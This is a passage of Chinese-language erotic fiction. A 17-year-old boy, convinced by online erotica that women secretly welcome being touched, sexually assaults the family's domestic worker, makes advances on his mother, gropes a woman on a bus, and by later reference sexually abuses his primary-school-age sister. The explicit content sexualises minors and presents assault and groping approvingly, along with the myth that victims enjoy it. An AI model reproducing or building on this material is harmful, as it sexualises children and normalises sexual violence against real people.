图片载入中

小风二三事

特大字】 【大字】 【中字】 【小字

★小风★

小风身高一百七十五公分、体重六十五公斤,今年刚升上高三,一年后即将面临升学的压力,不过他最近苦恼的事并非课业上的问题,而是初生之犊无可避免的青春期烦恼。吾家有男初长成,一个男性由男孩蜕变为男人的过程,存在着太多的心里挣扎与生理妄动。更何况,充斥在报章杂志、网路媒体与同侪间的腥膻资讯与小道消息简直就像空气中的氧气一般,除非你不唿吸,否则它绝对放肆的进入你的生活里。

小风觉得自己很帅,除了脸上定期蹦出的那两三颗痘痘之外,简直就跟金城武可以媲美,也许金城武还不如自己哩!因为小风认为自己比金城武还要雄伟健壮。他可自恋的紧,三不五时就穿着一条小内裤,在穿衣镜前搔首弄姿,挺挺三头肌、鼓鼓腹肌,“嘿!金城武可有八块腹肌?”小风以为全天下就只有他有腹肌,浑不知腹肌的生成全然是因为他的自恋外加无所是事使然,每天打着赤膊在镜子前仰卧起坐、俯卧撑,一只15磅的哑铃片刻不离手,要说真长出10块腹肌也不算太离谱。

可是小风始终搞不懂,像自己那么帅的男生怎么一直交不到女朋友,学校里是男女合班,男女比例也大约一半一半,不管上课或是下课,自己都可以跟男男女女谈笑风生,就算是偶尔的联谊、郊游,小风也该算是锋头最健的那几个,可是自从高一遭受过一次感情挫折后,小风开始小心翼翼,在没有窥透女孩的心意前,他绝对按兵不动,然而桃花运似乎从此与他绝缘,再也没有光顾过他一次,他实在感到匪夷所思,照理说以他的帅劲和现在女孩子的开放态度,就算自己不采取主动,也应该有些慕名、暗恋、倒追、表白的情事发生。

没有女朋友的最直接后果就是右手长茧不退,而青春痘的蓬勃滋生也与之息息相关。

小风家境不错,房间里就有自己的电视、电脑、音响┅┅只要想得到的可说是一应俱全,他常躺在床上开着电视,押着遥控器东挑西选,只要见到漂亮诱人的女明星,他就掏出老二狠狠的意淫一下,要不然他会放色情dvd,边瞧着萤幕上妖精打架,边搓得老二生烟,然后幻想着把精液射入那可望不可及的小穴穴里。还好他喜欢运动,否则以他自慰的频率,没有眼圈发黑、精神萎靡那才有鬼哩!

除此之外,他还喜欢看元元情色文学版刊登的色情文章,并且毫无遗漏的一一据为己有,储存在海一样深的硬盘里头。他觉得上天对他不公平,处处跟他作对,为什么别人轻轻松松就可以玩过一个女人又一个女人,插过一个小穴又一个小穴,而他呢?虽说长得又帅又挺拔,却依然是个十七岁处男。周遭的女性每一个似乎都跟别人身旁的截然不同,好像他投错了胎似的,来到了不一样的世界。

这一天,小风又在元元版拜读了许多大作,有跟妈妈做爱的、有跟妹妹做爱的、有强暴女同学的、也有强暴女佣人的,而最喜欢的一篇就是跟女老师胡搞瞎搞的,小风看得血脉贲张、面红耳热,单单打手枪就足足泄了三次。

“奇怪!女生好像很喜欢给老二插,只要一摸敏感的地方,那里就湿答答,而且就算是被强暴,身体也好像欢喜的紧。”

小风有点儿疑惑,他反复想着自己的经验,然而经验却浅薄得不能帮助他什么,接着他只好推敲起文章里他人的经验,哈!真是多采多姿、轻松自如。

他觉得里头一定有什么不对劲,而不对劲的症结一定在自己,小风真是想破了头,却依旧搞不懂差别何以如此之钜。左思右想、沉吟再三,他只差没把文章贴在床头,奉为圭臬。忽然,灵光一闪,他知道了问题的所在,抓住了自己不幸福的症结点。

“我就是太过含蓄、太害羞了,才会这样欲求不满。所有的女人,只要你敢去摸、敢去碰,没有一个不是马上软绵绵、湿答答的,问题症结就是一个“敢”字!”

“只要我敢,凭我的潇洒倜傥、英俊挺拔,没有不手到擒来,就算是妹妹、妈妈或者是马丽亚,没有不任我为所欲为、胡天胡地的。”

小风豁然开朗,整个人霎时蠢蠢欲动,他发誓打从今时今刻起,他要痛改前非、改头换面,秉持一个“敢”字,他一定可以活出不一样的丰富人生,体会一个又一个日思夜想的鲜嫩女体。

“嘿!就拿马丽亚先试刀罗!”

★马丽亚★

马丽亚是小风家里的菲佣,年纪二十五、六,除了皮肤黝黑些,身材也算前凸后翘、肥乳丰臀,腰肢不像其他菲律宾女人那般粗壮,衬着厚实的屁股,走起路来摇曳生姿。她留着一头乌黑亮丽的长头发,习惯用发圈束成马尾,远远望去十足黑美人一个。

天气热的时候,每当工作告一段落,马丽亚会穿着短裤、罩着t恤,窝在沙发上看电视,小风知道她t恤底下啥都没穿,因为小风常看见里头黑色的乳晕透了出来,除此之外,小风也知道马丽亚习惯穿白色棉质运动内裤,因为他就藏了一件,是马丽亚放在洗衣机旁预备洗涤的,小风顺手牵羊偷了过来,原汁原味,可腥骚的过分,小风最少闻着内裤打过五次以上的手枪,最后一次忍不住射在上头,经过冲洗,腥骚味已经不复往昔。

小风拿定主意,就依旧打着赤膊,穿着一条小小的高腰三角裤,开口唿唤∶“马丽亚!马丽亚!你进来帮我一下。”

肥羊还没就口,小风的阳具已经是磨拳霍霍、意态飞扬,灰色棉质三角裤撑起了半边天,两旁绷紧透空的裤缝有拳头大的空隙,发达的毛发就这么恣意的伸窜出来,要是视角正确,里头盘根错节、青筋毕露的粗大阴茎更是历历在目。

“扣!扣!”敲门声响起。

“门没锁,进来吧!”

门微微推开,马丽亚年轻黝黑的脸庞探了进来。

“小风!甚么事?”就算是菲佣,也都叫他小风。

小风还有些害臊,而且也不想吓着她,只是趴伏在弹簧床上,马丽亚最多也只能看到坚实光滑的男性嵴背,毕竟,新生活的开始总是生涩点。

“马丽亚!你来帮我抓抓龙,早上打球累得半死,肩膀啦、腰啦,全都酸死了!”

马丽亚没听小风要求过这种事,感觉有点错愕,在门旁站了一会儿,才慢慢走向床边,见小风全身上下只穿着一条小内裤,已经接近全裸,女孩家自然而然的脸红起来。

“你┅┅你要不要┅┅多穿件衣服┅┅这┅┅这样┅┅我┅┅脸红。”马丽亚用生硬的国语支支吾吾的表达出她的害羞。

“没关系啦!你来我们家那么久,还不是像家人一样,而且我才洗过澡,这样比较舒服。”

“┅┅”

人在屋檐下,不得不低头,马丽亚站在床边,一双小手不情不愿的按上了小风的肩头。

可小风要的不只是如此,抓抓捏捏一阵子,勃起的阳具被压得疼啦!小风心想,该进一步了。

“来!帮我抓抓腰部,那里最酸!”

马丽亚双手在肩膀稍作停顿,好像考虑些什么,最后还是听话的移往腰部,沿着嵴椎骨,又揉又捏又抓。

“这样┅┅舒服吗?”

“嗯!再┅┅再下面一点!”离屁股可还有好几寸哩!

马丽亚手是往下移了,却一直不敢接近穿着内裤的臀部。

“不┅┅不┅┅再往下┅┅再往下!”

费了九牛二虎的功夫,马丽亚小手才甘愿捏上两片坚臀,虽然小风心里很刺激,可是一点都不爽。

又过了一会,小风觉得时候到了,该轮到前面享福啦,他吩咐道∶“好!谢谢你,前面也酸,你顺便帮我抓一抓。”说完翻转躯体,一支雄纠纠、气昂昂,架着帐幕的柱子活灵活现的浮现在马丽亚眼前。

马丽亚大吃一惊,芳颊羞红,别过头不敢正视,嘴里埋怨道∶“你┅┅你多穿一件啦┅┅我┅┅我不敢看┅┅”

小风依照读来的丰富情色文章经验,知道这是正常的女人害臊反应,又想看又不敢看,么鬼假细哩(饿鬼假装客气),他拉过马丽亚的小手,无关紧要的说着∶“怕什么嘛!帮我抓抓大腿而已,又不是要抓那里。”

“可是┅┅可是┅┅那个┅┅那个通通看到!”

“我就像是你弟弟一样,看到又有什么关系,难道你没看过?”

马丽亚为难的想了好几分钟,最后猛一咬牙,侧着头用双手捏起小风大腿的筋骨,也因为侧着头的缘故,三不五时手臂就会撞及小风高耸的阴茎,让小风又兴奋又刺激真是爽不可支。

小风觉得一切都顺利的过分,越发觉得自己以前绝对是害羞的过了头,平白损失掉许多享乐的机会,还好见机的早,浪子回头、时犹未晚。

内裤的中央这时已经湿了一小圈,像铜钱一般大小,浸透的棉料显露出湿黑的色调,对比灰白的原色,煞是明显。

“你摸摸看┅┅我这不知道是被什么咬到,红红肿肿的,还会痛哩!”

小风牵起马丽亚的小手直接攀上裤裆最高点,马丽亚没敢转头正视,只觉摸着了一种黏黏稠稠的心物事,就像摸到火炭一般她立时缩手,嘴里结结巴巴的说∶“那┅┅那是什么东西┅┅好心!”

小风怕她逃了出去,又想起“敢”这个字,于是伸手用力把马丽亚拉跌在床上,一只手老实不客气的钻进t恤里头,紧紧抓握住坚挺的奶子。

“你看看!你看看!你的奶头都硬起来了,想男人了吧!”小风卖弄着读来的知识。

马丽亚一如溺水的泳着没命的抡动起手脚,嘴里高声的讨饶∶“小风,停手┅┅停停手┅┅我┅┅我不要啦!”

小风以为她是装腔作势的矜持,只要好好的挑逗她,没一会儿就会爽快的任自己宰割。如此一想,色向胆边生,奶头揉揉捏捏也没二分钟,一手箍着马丽亚的颈项,另一手抓住拼命挣扎的大腿空隙,直接挥军中原,窜进了裤脚内鼓鼓的阴户中央。

马丽亚叫喊更是凄厉,手脚甚至已经打上小风的胸膛,小风挨了几拳,心里越发圭怒,心想待会定要好好的蹂躏马丽亚,手指头更加笨拙的搓揉起马丽亚的阴唇与阴蒂。

“奇怪!应该发浪的湿答答才对嘛!怎么会干巴巴的。”揉搓了好久,马丽亚的唿喊不见停歇,反而自己的手指头累了,于是小风勾开三角裤,好几根手指头就往一堆肉瓣的中心捞了下去。

“救命呀!强暴喔!”马丽亚使尽吃奶的力量吼了出来,小风吓一大跳,两手齐齐放开,马丽亚见势跳了起来躲到门边,眼眶含着泪水忿忿的说∶“你┅┅你要强奸我┅┅我一定要跟爸爸、妈妈说┅┅我┅┅我以后不干了!”

小风吓的脸色惨白,若让爸爸知道这件事,自己一定狠狠挨一顿皮鞭,那可不好受,慌慌张张由桌上抓起一把钞票,拣出其中的千元大钞在马丽亚眼前晃了晃,嘴里说∶“这给你啦,你不要讲好吗?”

马丽亚看清楚那是三千元,摇了摇头就想掉头离去,小风可急了,匆匆忙忙地跳到书桌前,好不容易翻箱倒柜又找着三千块钱,凑足六千元便要硬塞给马丽亚,嘴里连声讨饶∶“拜托!拜托!这是我所有的财产,求求你不要跟爸爸妈妈讲好吗?”

看到六千块钱,马丽亚眼中怒意稍霁,只是她还是得警告一下∶“你┅┅你以后┅┅不准再对我这┅┅这样。”

“一定一定!”小风如同获得大赦,整个人轻松起来。

抓过六千块钱,马丽亚又回到客厅沙发看电视去了。

★小薇妹妹★

(本章涉及幼幼情节,删除)

★小风的妈★

小风关在房里,握着沾满小薇淫水的老二,心里几乎打算放弃,接连而来的挫败,让他开始怀疑元元版上文章的真实性,莫非全世界的人都喜欢危言耸听、言过其实,要不然就是自己长的过分爱国、太没吸引力了。

仔细想想,危言耸听好像也不至于吧,班上那个花花大少梅正俊不是也常常夸说他搞过隔壁班的谁谁谁、高年级的哪几个学姐、甚至于月玫老师都跟他有一腿,连她们的小穴穴长的是大、是小、是红、是黑都描述的一清二楚,应该不会骗人吧!电视上吴宗宪访问的许多臭骚包,不是每一个都好像花痴一样,连喜欢的性姿势都可以说出来,看来事情定有蹊跷,自己还是不要怀疑的太早。

那难道是自己其貌不扬、长相庸俗,让人一见生厌,提不起性趣吗?小风又走到落地穿衣镜前,摆了好几个pose,搔首弄姿,挺挺三头肌、鼓鼓腹肌,镜中的少年肌理密实、虎臂熊腰,挺在胯间的巨棒也是笔直光亮,实在看不出有哪里不迷人!

小风又坐下来了,抹了一把阴茎上快要干的小薇淫液凑在鼻端,有一点淡淡骚味,没想到小薇也长大了,小穴穴已经懂得进行做爱前准备,不知道自己下次还有没有机会插她的嫩穴,再过几年她懂得更多点,决计连碰也不让自己碰。

啊!对了!马丽亚是个咕噜咕噜的外国人,小薇则是个不懂做爱乐趣的小女孩,一个来自性冷感的国家,一个未经人道,自己的挫败实在情有可原,况且自己才刚要有所作为,手段、方法一定火侯不够,怎么可能一下子挑战这么高难度的任务。

该找一个性经验丰富又跟自己熟稔的女人,小风这样觉得,可是左思右想,连老二都想的缩了起来,还是找不到目标。坐到电脑前,他连上了情色文学版,又逐篇逐字的细读起来,“我干妈妈的日子”,哇赛!写的真是活色生香、精彩万分,对呀!最好的目标不就是妈妈吗!生了我跟小薇,性经验还不丰富?而自己的妈妈是再熟稔也不过了!

小风的妈妈是县政府的课长,今年三十八岁,是一个精明能干的女强人,虽然接近四十岁,身材还维持的玲珑有致,因为辛勤保养,脸蛋一丝皱纹也没有,小风从小到大都好喜欢妈妈,认为她是天底下第一有女人味的女人,如果将来娶老婆,也一定要像妈妈一样。

现在才五点多,妈妈常常要忙到七、八点才会提着晚餐回家,而爸爸到高雄视察,不是深夜醉醺醺的回来,就是得等到明天下班后才一脸没事样的熘回家。

小风很希望妈妈多骂骂爸爸一点,这样爸爸就不敢在外头为所欲为,有时候连车上都有陌生女人的发夹、口红之类的,难道妈妈不知道吗?

小风在硬盘里找了好多母子乱伦的文章,研究怎样插妈妈的穴穴。一想到妈妈的穴穴,小风几乎要窒息而不敢往下想,他把妈妈当作是万能的女神一般,三餐吃饭、金钱零用、肚子疼,甚至心情不好,有哪一样他不是找妈妈解决,像妈妈这样优雅万能的女人,原来也有淫荡的穴穴,而爸爸就是用他红冬冬的老二插妈妈的骚穴才生下自己和小薇。这样看来,妈妈的穴穴也跟自己的老二一样会发痒、会难受!看来自己相当有希望哩!

小风浮起乱伦的念头,所以晚餐时候特别不自在,话比平常少些,总会无法克制地盯着妈妈衬衫里面的乳房、裙子里面的内裤痕、凹陷的屁股沟直看,另一方面,小风傍晚时分先后对马丽亚、小薇做了不该做的事,就怕她们当场告状,那自己就只能躲到桌底下去。

好不容易全家吃饱饭、洗好澡,该看的电视节目都看完了,大家都回到自己房间干自己的事,小风知道妈妈这时候一定穿着连身睡衣坐在房间书桌前看书、批公文,有时候她还抽烟、听古典音乐,这时候的妈妈长发披在肩头,全身皮肤泛着玫瑰般的色泽,是一天最漂亮的时候,可是小风平常很少看到,看得最多的是爸爸。

小风在抽屉里随便找了一条乳膏,也不管是干什么用的,穿着一条内裤、套着棉布背心就往妈妈房里去。

“妈!帮我擦擦药好吗?”敲了门,小风喊道。

“门没锁,自己进来,妈妈在写东西。”

推开门,妈妈坐在靠窗的书桌前振笔疾书,身上果然是一件苹果绿色的丝质睡袍,脚上穿双淡粉红色的拖鞋,瀑布一般的黑发洒在肩上,比明星还漂亮,实在看不出妈妈快四十岁了,跟师范大学刚毕业的月玫老师比起来,几乎像同学一样。

“小风,怎么了?”妈妈抬起头问他,脸上刚洗过澡带点晕红。

“妈!我想擦药可是擦不到!”

“擦药?你跟同学打架受伤了?还是被蚊虫咬?”

“我不知道,只是一直觉得很痒!”

“在哪个地方?自己擦不到吗?要不要妈妈带你去给医生看?”

“嗯┅┅我不好意思给医生看啦┅┅痒┅┅痒在屁股后面┅┅我自己也看不到!”

“来┅┅给妈妈看看,不要是长什么脏东西了。”妈妈关心的说。

小风心里开始扑通、扑通的狂跳,虽然小时候都是妈妈替自己洗澡,可是国中以后自己觉得是大人了,洗澡时妈妈要进来拿东西都不准,内裤梦遗脏了更是藏起来自己偷偷洗,现在突然要在妈妈面前脱裤子,心里可是紧张死了,只觉老二竟然兴奋的翘了起来,脸上热唿唿的直发烧,想到妈妈看到自己孩子那么粗大的老二后不知道有何反应,老二更是一突一突的乱窜。

“呦!小风长大了,连脱裤子都会害羞哩!”妈妈取笑他。

“妈!拜┅┅拜托!我是高中生了。”

“妈从小帮你洗澡、换衣服,看到不要看了┅┅你是妈生的,还害什么羞?

快点脱下来让妈帮你擦药,妈还有东西要写。”妈妈催促他。

小风心想,裤子不脱下来那不就前功尽弃,而且不知该怎么交代,一旦妈妈怀疑他鬼鬼祟祟,跑去找小薇问,那就糟糕加三级了。

背着妈妈,小风缓缓把内裤褪到脚踝,远远站着。

“站那么远妈妈怎么帮你擦?过来扶着床边,把屁股翘起来!”

小风转过身子,头低低的走到床边依言而做,一支硬梆梆的老二翘了一百多度,又红又大支,随着动作左右晃动。

“小风你┅┅你┅┅你的┅┅鸡鸡怎么┅┅怎么会┅┅”妈妈还是拿小风当小孩子看待,除了小时候喊的鸡鸡外,其他的阳具名称她都喊不出口,看自己的孩子阳具竟然勃起得如此严重,不觉讷讷的接不下去。

“人家跟你说过我已经是高中生了嘛!每天晚上它都会肿那么大,一直不会消,书都看不下,睡觉也很难睡。”小风挺着毛屁股向着老妈,嘴里抱怨着。

妈妈一边细嫩的小手在小风的臀部、股沟、肛门四处抚触搜寻,一边问道∶“你┅┅你长那么大难道都没有老师、同学告诉你自┅┅自慰的事吗?”

小风感受着妈妈细滑的手在自己屁股抚摸的美好滋味,回答道∶“有┅┅有啊!可是┅┅可是最近我常常搓了一个晚上也没用。”

“怎┅┅怎么会这样?”妈妈无法理解,她在臀部上上下下摸了半天也没看到一处有疹子或痘子来着,她现在连卵囊也翻着找,嘴里问着∶“小风!你到底是哪里痒?妈没看到有哪里不对劲呀!”

“啊!妈就是那┅┅那上面┅┅对┅┅对┅┅就那里!”

妈妈的手听着指示,竟然移到屁眼旁边,凝神看看,菊花轮收缩的很整齐,孔洞也紧实,除了周围颜色深暗些,但这再正常也不过了。

“妈!你帮人加抓抓,痒死人了!”

“看起来很正常呀!小风你┅┅你怎么可以要妈帮你抓这里呢?”妈妈面有难色,不知道抓是不抓,鼻子闻到儿子胯下传来男人的膻骚味,血液不知不觉沸腾起来,若再用手在儿子屁眼附近抚触,真怕自己双腿发软。

“我又不知道在哪里?怎么抓?”小风振振有词的说。

等了一阵子,妈妈的手真的在自己屁眼附近抓了起来,只觉细细的指肉轻轻的抠抓着屁眼附近的皮肤,虽然始终避着那个孔洞,但那滋味真是扯紧了所有的神经,将整个人推上云端,小风瞧见自己马眼中溢出透明淫液,觉得自己的屁眼一定在妈妈面前不断的收缩。

觉得龟头趐麻的几乎快射了出来,小风赶紧喘着说∶“妈┅┅好了┅┅好了┅┅不痒了!”

“我想你肚子里大概有寄生虫,听说蛲虫会在肛┅┅肛门口产卵,会让人觉得很痒,你明天去找吴医师开些驱虫药吃吃┅┅我会先打电话给他。”妈妈脸蛋微微发红,抽出湿纸巾擦拭着手指头,小风看到丝质内衣里的乳头尖尖地挺了出来,知道原来自己妈妈也会因为接触到儿子的男性性征而起情欲反应。

“妈┅┅你能不能帮我┅┅帮我┅┅摸摸它┅┅这样我没办法睡觉!”小风转过正面坐在床缘,发胀的老二就像一挺机关枪般直指着妈妈。

“小风┅┅你怎么可以这样,我是你老妈耶!”

“可是┅┅可是我自己没办法解决,快被它烦死了!明天又要模拟考,我连书都看不下去。”

“那妈妈就有办法吗?”

“嗯┅┅妈妈的手那么滑,身体又那么好闻,我最爱妈妈了,难道妈妈你不爱我?”小风好像看过情色文章里有这样的说词,很快用了出来。

“废话!”妈妈很慎重的想了想,忽然问∶“小风!妈妈碰你的时候,你该不会想要┅┅想要欺负妈妈吧!”

小风吓一跳,两只手在胸前拼命挥动,辩解说∶“不!不!小风什么东西也不敢想,我只是自己没办法解决,才想说妈妈不知道有没有办法。”就算小风想舔妈妈睡衣底下硬硬的乳头,想撩起睡衣看妈妈的三角裤有没有黏答答,可是打死他也不能承认。

妈妈脸泛桃红的低头沉吟着,一副很难下定决心的样子,好半晌,她抬起头说∶“你眼睛闭起来,不准乱想、乱看,妈妈帮你┅┅帮你弄弄看,可是以后就不行了,改天妈妈会带你去泌尿科看看,搞不好你有性功能障碍。”

小风可乐了,想到妈妈帮自己打手枪的禁忌性快感,老二又突突突地跳了起来,龟头不断往外溢出淫水,怕妈妈又乱问、乱想,赶紧乖乖闭上眼睛。

“真┅┅真不知道你这小鬼想些什么”妈妈唠叨了几句,有点发颤的白嫩小手握上小风发红的阴茎,缓缓的前后推送。

“不准乱想喔┅┅妈是疼你┅┅怕你难受┅┅你绝对不能有一点侵犯妈的意念,那是禽兽才会有的想法。”一边套弄,妈妈还一边念念有词。

“喔┅┅喔┅┅妈,我只是┅┅只是感觉而已┅┅什么┅┅什么也没想。”

小风一边感受着妈妈套弄阴茎的美妙感受,一边还是眯着眼睛偷偷打量妈妈的反应。

只见妈妈屈膝蹲在自己胯前,一只手扶着卵袋,另一手轻握阴茎前后推送,成熟的脸孔泛着晕红,眼睛亮亮的盯着自己的老二,鼻梁上微微渗出汗渍。

刺激那么强烈,小风真怕马上射了出来,他要的不只是这样,他还想看看妈妈的乳房,摸摸妈妈的穴穴,由他的眼睛穿过衣领可以瞧见妈妈滑嫩的乳沟、粉白的颈项,还有苹果色睡衣内凸起的乳头。

“妈!你┅┅你的乳头怎么会凸出来呢┅┅是不是你也想要┅┅想要小风碰你?”在快要受不了的时候,小风总算问了出来。

“死小风┅┅你┅┅你不要乱说!”妈妈脸色一整,严肃的说,手中还是不断套弄着阴茎。

“妈┅┅你┅┅你┅┅你内裤┅┅会不会┅┅湿┅┅湿!”好不容易,小风问出这句话。

听到自己儿子竟然问出这种话,小风的妈相当错愕,双手停了下来,又好气又好笑的问∶“你┅┅你怎么会问这种问题?”

小风整个人已经濒临爆发边缘,色令智昏,手中拉起妈妈,赤条条的就将她抱个满怀,一只手还窜入妈妈的睡衣里头,抓着自小哺育他的奶子揉弄起来,老二硬的就像铁棍一般,隔着睡衣紧抵着妈妈的阴户。

妈妈吓了一跳,有几秒钟不知所措,再来她可生气了,一巴掌打在小风胀红的脸上,怒叱道∶“小风!你在干嘛?我是你妈妈耶!你给我坐好!”

小风挨了一巴掌,神智稍微清醒,手还是抓着妈妈丰满的乳房不舍得放手,嘴里不服输的说∶“妈┅┅你┅┅你也喜欢小风摸┅┅摸你┅┅你自己身体也想要的┅┅你┅┅你看┅┅这┅┅这都┅┅”小风不知大祸将至,捏起妈妈发硬的乳头还要辩解。

妈妈一把推开她,脸上一阵红一阵白,眼中蕴满无比怒意,大声骂道∶“小风!你给我到门边跪下!不知道妈妈怎么会养出你这种禽兽儿子,连自己妈妈都要轻薄。”

小风像是被泼了一桶冷水,整个人愣在床上,看妈妈怒发冲冠的模样,他知道闯的祸大了,十七年来也没看妈妈如此生气,这下子自己一定会被爸爸吊起来打,零用钱可能从此冻结。

拉上内裤盖住吓得发软的老二,小风挟着尾巴乖乖到门边跪下,心里头五味杂陈、悔恨交加,小风心想,实在不应该拿妈妈下手,爸、妈都是政府官员,像这种官员家庭道德标准较高,最怕发生狗屁倒灶的肮脏事,阻碍升官的途径。

“应该找学校的女同学┅┅还有月玫老师下手,元元版文章里面的女学生、女老师不都淫荡的要命,他们一定不像家里人这么正经八百,全世界大概也只有我们家最保守了。”

跪在门边,小风想了很多事情,虽然接连挫败三次,但这次他不再灰心,因为一想起学校女同学百折裙里不时曝光的小内裤、还有月玫老师衬衫内硕大的乳房,他的老二竟然又硬起来了。

这个晚上小风跪的膝盖酸麻,两腿就快跟身体分家,妈妈却只顾着低头写东西,脸上神色严峻、一丝不,小风几乎以为妈妈忘了自己跪在门边。

墙上挂钟敲过十一点,妈妈好像大功告成了,折好文案塞进公事包,又啜了口咖啡,才把目光转到小风身上。

“小风!你可以起来了,下次再这样我就告诉爸爸,让他敲断你的狗腿!”

说到狗腿,妈妈忍不住笑了出来。

“是是!小风下次不敢了,除非我吃了熊心豹子胆,否则还是狗腿重要。”

小风看妈妈露出了笑容,就好像严冬里乍逢暖阳,再听得不告诉爸爸,内心一欣喜,竟油嘴滑舌起来。

妈妈“噗嗤!”一声笑了出来,南极冰山终于解冻了,她挥了挥手说∶“去睡吧!明天还要上学呢,不要在课堂打瞌睡了!”

小风慢慢爬了起来,忽然两腿一阵麻软,差一点跌个狗吃屎,还好背对着墙壁,两手重重一扶,小风一屈一弓活动起双脚。

“小风!原来你骗妈妈,什么肿得不会消退,现在还不是乖乖的吗?”妈妈突然这么问。

小风看看胯下伏贴的老二,知道被妈妈揭破了谎话,转过身就想逃之夭夭,才拉开门,妈妈又说∶“等一下!小风,你┅┅你说妈妈还年轻漂亮吗?”

“漂亮!漂亮!妈是小风心目中最漂亮美丽的女人。”小风转过头很真诚的望着妈妈。

“那┅┅那你爸爸为什么喜欢在外面拈花惹草?”

小风不知该怎么回答,只能眼睁睁的望着若有所思的妈妈,房里一片死寂。

“好了!这你哪懂?去!去睡吧!”

★美人姐姐★

小风这夜睡了个好觉,虽然屡试屡败、一再凸槌(不成功!),可是好歹比以前进步稍许,摸到马丽亚的穴穴、抓到妈妈的乳房,最妙的还插入了小薇的穴穴,虽然只进去三分之一,可是穴里头湿湿滑滑的感觉,实在令小风回味无穷,小风以为自己应该已经告别了处男的生涯,虽然没有抽插或射精,可是老二跟穴穴达成性交的要件,相互结合在一起,谁敢说他没做过爱?

第二天,小风背着书包到街头的公车站牌等公车,小薇老早就跑了,她念的小学就在两条街的隔壁。妈妈也好像忘了昨晚的事,坐在饭桌前看报纸还追问小风今天模拟考的事,她就不知道这也是小风的另一个谎话。

公车来了,远远就看见车上黑鸦鸦的一堆人,而站牌下还有七、八个人想挤上去,小风书包举在头顶,跟着一群学生、通勤族左推右闪的挤进车厢里,不要说坐,就连站的位子都快没有了,每个人面无表情的贴靠在一起。

小风远远看见那个粉红色衬衫,深蓝色窄裙的ol就站在车厢后半段,他吃力地排开众人挤向她的身旁。

除非没见到或者寸步难移,否则小风往常都会故意挤在她的身旁,闻她身上好闻的香味,藉机用身体碰触她敏感部位,吃小小的豆腐,可是小风以前只敢趁公车颠簸晃动的时刻,做不经意的磨蹭,还不敢手来来,胡摸一气,虽然情色文章里“电车痴汉”、“公车之狼”的故事他早倒背如流,可他以为那是日本才有的好事。

今天却不一样,昨天小风已经立誓要脱胎换骨,一敢天下无难事,打算跟全世界的男性同胞做同样的事,绝不让情色文学版里的风流作者专美于前,他打算今天一早就在车上大展手脚,好好的摸摸这个迷人的上班族姐姐-美人姐姐。

美人姐姐,对!小风在心里都这样偷偷喊她,她的头发又直又亮,脸蛋仅仅薄施脂粉却已经唇红齿白、风情无限,最引人遐思的是她坚挺的双峰和挺翘的屁股,常常把衬衫跟窄裙绷的让里头曼妙曲线都唿之欲出。

小风只一次好运的站在美人姐姐身后,其他时候都抢不到好位置只能在一旁干瞪眼,那一次他站在身后,整路都像浮在云端,鼻子闻着她芳香的秀发,胸膛紧贴她发热的嵴背,老二就抵着她浑圆上翘的屁股,随着公车的晃动,小风忽前忽后的在她屁股外磨动,没到学校,裤裆就黏唿唿的湿了一大片,美人姐姐中途曾转头很诧异的看他一眼,小风望望车里挤得像沙丁鱼般的乘客露出一副无可奈何的笑容,还好美人姐姐很快转回头没说什么。

那次是小风第一次对自己的身高感到憎恨,在课堂上小风反复埋怨老天爷,要是矮个十公分,自己勃起的老二一定可以刚刚好抵着美人姐姐屁股下方那个漂亮弧度的凹陷,那里是最妙的地方,矮一点就能更紧密的贴触在一起。

今天好不容易才挤到美人姐姐身旁,在她身后背对背站着一个上班族年轻男性,一身灰色西装笔挺光鲜,屁股就跟美人姐姐的翘屁股贴在一起,小风看他身前还有一、二十公分的空隙,却故意将身体朝后挪,明显是吃美人姐姐豆腐。

小风不知道自己其实比他更色,狠狠瞪了这色鬼男人一眼,时不我予,只能站在斜后方,跟美人姐姐盯向同一面窗。

早晨的天气不热,可是车厢里挤满人,有一种窒窒闷闷的燥热感,美人姐姐脸上的毛细孔微微渗出汗渍,鬓角的细发湿湿的贴在脸颊,小风看见她的胸脯轻轻上下起伏,脸上红艳艳的,大约知道屁股后头贴的是男人的臀部。

这时美人姐姐高举左手,握住上方的抓杆,衣袖滑落到腋下附近,小风由斜后方正巧可以看见春光的一角,她白净的胳肢窝里腋毛全除净了,毛细孔较为明显,就像雏鸡拔光毛后的皮肤,而连着胳肢窝是一片莹白的皮肤,看样子是乳房的边陲,丰盈的嫩肉给淡黄色罩杯逼得满溢出来,好像恨不得破杯而出。

站斜后方也有斜后方的好处,小风心里头才暗爽,车子又停了一站,好像挤进不少人,骨牌效应,小风离美人姐姐更加近了,身体侧边几乎紧紧挨住她,鼻子可以闻到她身上飘来的阵阵暖香味道,有香水的醒鼻味,也有女人迷人的体骚味。

小风觉得胯下的老二又不安分的蠢动起来,自己左手扶着座椅,右手拉着书包实在多馀,书包早牢牢地挂在肩上,应该给右手更有意义的事情干干。

要是昨天,小风一定不敢这么放肆,可是经过了一晚彻底检讨,了解到昨非而今是,他终于洗心革面、焕然一新。

小风向身旁挤了挤,把色鬼男人的屁股挤开点,手就接管了美人姐姐的整片翘屁股,然后他缓缓伸出右手,游移到美人姐姐的香臀上(当然是躲着男人的屁股),稍稍使劲按了按,丰满弹性的感觉就像是灌饱空气的大汽球一样,真是妙透了。

屏息享受好一会,小风的手开始沿着屁股沟的缝缝往下滑,手里感觉漂亮弧线穿越了微微浮出的三角裤痕最后突然往两旁分开,手就掉入了一个浅浅的洼地中,那是两腿根部的正中心,小风觉得比刚刚更软、更热,知道那是什么部位,老二几乎兴奋的射了出来。

整支手掌住那团又热又软的东西,小风随着公车晃动忽轻忽重的抚摸它,感觉手掌中传来微微颤抖的感觉,小风偷偷打量美人姐姐,只见她脸蛋飞红,不自然的望着前方,额上开始泌出豆大汗珠。

这样又过了一站,小风开始觉得不够,他用拇指、食指轻轻捏住美人姐姐的裙身慢慢往上拉,一寸、两寸、三寸,随着裙身不断上爬,裙子都紧紧束缚着丰满的屁股不会往下掉,最后感觉到达一个关卡,小风知道够了,美人姐姐内裤里的小穴穴一定轻松的探头透气了。

小风紧张的几乎岔了气,放开裙身,好几根手指头就往刚刚的洼地前进,只觉摸着温温润润的一件蕾丝三角裤,中间有一部分被屁股沟夹住,还有好些柔软的毛发由蕾丝缝隙中伸窜出来,他轻轻捏住三角裤一拉,把股沟夹住的部分拉了出来,只见美人姐姐全身机伶地一颤,头动了动却不敢转过头。

